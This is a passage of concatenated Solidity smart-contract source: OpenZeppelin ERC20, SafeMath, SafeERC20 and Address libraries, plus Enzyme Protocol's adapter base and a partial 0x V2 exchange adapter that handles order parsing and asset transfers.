_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../IIntegrationAdapter.sol";
import "./IntegrationSelectors.sol";
/// @title AdapterBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice A base contract for integration adapters
abstract contract AdapterBase is IIntegrationAdapter, IntegrationSelectors {
using SafeERC20 for ERC20;
address internal immutable INTEGRATION_MANAGER;
/// @dev Provides a standard implementation for transferring assets between
/// the fund's VaultProxy and the adapter, by wrapping the adapter action.
/// This modifier should be implemented in almost all adapter actions, unless they
/// do not move assets or can spend and receive assets directly with the VaultProxy
modifier fundAssetsTransferHandler(
address _vaultProxy,
bytes memory _encodedAssetTransferArgs
) {
(
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
// Take custody of spend assets (if necessary)
if (spendAssetsHandleType == IIntegrationManager.SpendAssetsHandleType.Approve) {
for (uint256 i = 0; i < spendAssets.length; i++) {
ERC20(spendAssets[i]).safeTransferFrom(
_vaultProxy,
address(this),
spendAssetAmounts[i]
);
}
}
// Execute call
_;
// Transfer remaining assets back to the fund's VaultProxy
__transferContractAssetBalancesToFund(_vaultProxy, incomingAssets);
__transferContractAssetBalancesToFund(_vaultProxy, spendAssets);
}
modifier onlyIntegrationManager {
require(
msg.sender == INTEGRATION_MANAGER,
"Only the IntegrationManager can call this function"
);
_;
}
constructor(address _integrationManager) public {
INTEGRATION_MANAGER = _integrationManager;
}
// INTERNAL FUNCTIONS
/// @dev Helper for adapters to approve their integratees with the max amount of an asset.
/// Since everything is done atomically, and only the balances to-be-used are sent to adapters,
/// there is no need to approve exact amounts on every call.
function __approveMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
if (ERC20(_asset).allowance(address(this), _target) < _neededAmount) {
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to decode the _encodedAssetTransferArgs param passed to adapter call
function __decodeEncodedAssetTransferArgs(bytes memory _encodedAssetTransferArgs)
internal
pure
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_
)
{
return
abi.decode(
_encodedAssetTransferArgs,
(IIntegrationManager.SpendAssetsHandleType, address[], uint256[], address[])
);
}
/// @dev Helper to transfer full contract balances of assets to the specified VaultProxy
function __transferContractAssetBalancesToFund(address _vaultProxy, address[] memory _assets)
private
{
for (uint256 i = 0; i < _assets.length; i++) {
uint256 postCallAmount = ERC20(_assets[i]).balanceOf(address(this));
if (postCallAmount > 0) {
ERC20(_assets[i]).safeTransfer(_vaultProxy, postCallAmount);
}
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `INTEGRATION_MANAGER` variable
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
function getIntegrationManager() external view returns (address integrationManager_) {
return INTEGRATION_MANAGER;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../IIntegrationManager.sol";
/// @title Integration Adapter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all integration adapters
interface IIntegrationAdapter {
function identifier() external pure returns (string memory identifier_);
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IntegrationSelectors Contract
/// @author Enzyme Council <[email protected]>
/// @notice Selectors for integration actions
/// @dev Selectors are created from their signatures rather than hardcoded for easy verification
abstract contract IntegrationSelectors {
bytes4 public constant ADD_TRACKED_ASSETS_SELECTOR = bytes4(
keccak256("addTrackedAssets(address,bytes,bytes)")
);
// Trading
bytes4 public constant TAKE_ORDER_SELECTOR = bytes4(
keccak256("takeOrder(address,bytes,bytes)")
);
// Lending
bytes4 public constant LEND_SELECTOR = bytes4(keccak256("lend(address,bytes,bytes)"));
bytes4 public constant REDEEM_SELECTOR = bytes4(keccak256("redeem(address,bytes,bytes)"));
// Staking
bytes4 public constant STAKE_SELECTOR = bytes4(keccak256("stake(address,bytes,bytes)"));
bytes4 public constant UNSTAKE_SELECTOR = bytes4(keccak256("unstake(address,bytes,bytes)"));
// Combined
bytes4 public constant LEND_AND_STAKE_SELECTOR = bytes4(
keccak256("lendAndStake(address,bytes,bytes)")
);
bytes4 public constant UNSTAKE_AND_REDEEM_SELECTOR = bytes4(
keccak256("unstakeAndRedeem(address,bytes,bytes)")
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IIntegrationManager interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the IntegrationManager
interface IIntegrationManager {
enum SpendAssetsHandleType {None, Approve, Transfer, Remove}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IZeroExV2.sol";
import "../../../../utils/MathHelpers.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../../../utils/FundDeployerOwnerMixin.sol";
import "../utils/AdapterBase.sol";
/// @title ZeroExV2Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter to 0xV2 Exchange Contract
contract ZeroExV2Adapter is AdapterBase, FundDeployerOwnerMixin, MathHelpers {
using AddressArrayLib for address[];
using SafeMath for uint256;
event AllowedMakerAdded(address indexed account);
event AllowedMakerRemoved(address indexed account);
address private immutable EXCHANGE;
mapping(address => bool) private makerToIsAllowed;
// Gas could be optimized for the end-user by also storing an immutable ZRX_ASSET_DATA,
// for example, but in the narrow OTC use-case of this adapter, taker fees are unlikely.
constructor(
address _integrationManager,
address _exchange,
address _fundDeployer,
address[] memory _allowedMakers
) public AdapterBase(_integrationManager) FundDeployerOwnerMixin(_fundDeployer) {
EXCHANGE = _exchange;
if (_allowedMakers.length > 0) {
__addAllowedMakers(_allowedMakers);
}
}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ZERO_EX_V2";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
bytes memory encodedZeroExOrderArgs,
uint256 takerAssetFillAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
IZeroExV2.Order memory order = __constructOrderStruct(encodedZeroExOrderArgs);
require(
isAllowedMaker(order.makerAddress),
"parseAssetsForMethod: Order maker is not allowed"
);
require(
takerAssetFillAmount <= order.takerAssetAmount,
"parseAssetsForMethod: Taker asset fill amount greater than available"
);
address makerAsset = __getAssetAddress(order.makerAssetData);
address takerAsset = __getAssetAddress(order.takerAssetData);
// Format incoming assets
incomingAssets_ = new address[](1);
incomingAssets_[0] = makerAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = __calcRelativeQuantity(
order.takerAssetAmount,
order.makerAssetAmount,
takerAssetFillAmount
);
if (order.takerFee > 0) {
address takerFeeAsset = __getAssetAddress(IZeroExV2(EXCHANGE).ZRX_ASSET_DATA());
uint256 takerFeeFillAmount = __calcRelativeQuantity(
order.takerAssetAmount,
order.takerFee,
takerAssetFillAmount
); // fee calculated relative to taker fill amount
if (takerFeeAsset == makerAsset) {
require(
order.takerFee < order.makerAssetAmount,
"parseAssetsForMethod: Fee greater than makerAssetAmount"
);
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount;
minIncomingAssetAmounts_[0] = minIncomingAssetAmounts_[0].sub(takerFeeFillAmount);
} else if (takerFeeAsset == takerAsset) {
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount.add(takerFeeFillAmount);
} else {
spendAssets_ = new address[](2);
spendAssets_[0] = takerAsset;
spendAssets_[1] = takerFeeAsset;
spendAssetAmounts_ = new uint256[](2);
spendAssetAmounts_[0] = takerAssetFillAmount;
spendAssetAmounts_[1] = takerFeeFillAmount;
}
} else {
spendAssets_ = new address[](1);
spendAssets_[0] = takerAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = takerAssetFillAmount;
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Take an order on 0x
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(
bytes memory encodedZeroExOrderArgs,
uint256 takerAssetFillAmount
) = __decodeTakeOrderCallArgs(_encodedCallArgs);
IZeroExV2.Order memory order = __constructOrderStruct(encodedZeroExOrderArgs);
// Approve spend assets as needed
__approveMaxAsNeeded(
__getAssetAddress(order.takerAssetData),
__getAssetProxy(order.takerAssetData),
takerAssetFillAmount
);
// Ignores whether makerAsset or takerAsset overlap with the takerFee asset for simplicity
if (order.takerFee > 0) {
bytes memory zrxData = IZeroExV2(EXCHANGE).ZRX_ASSET_DATA();
__approveMaxAsNeeded(
__getAssetAddress(zrxData),
__getAssetProxy(zrxData),
__calcRelativeQuantity(
order.takerAssetAmount,
order.takerFee,
takerAssetFillAmount
) // fee calculated relative to taker fill amount
);
}
// Execute order
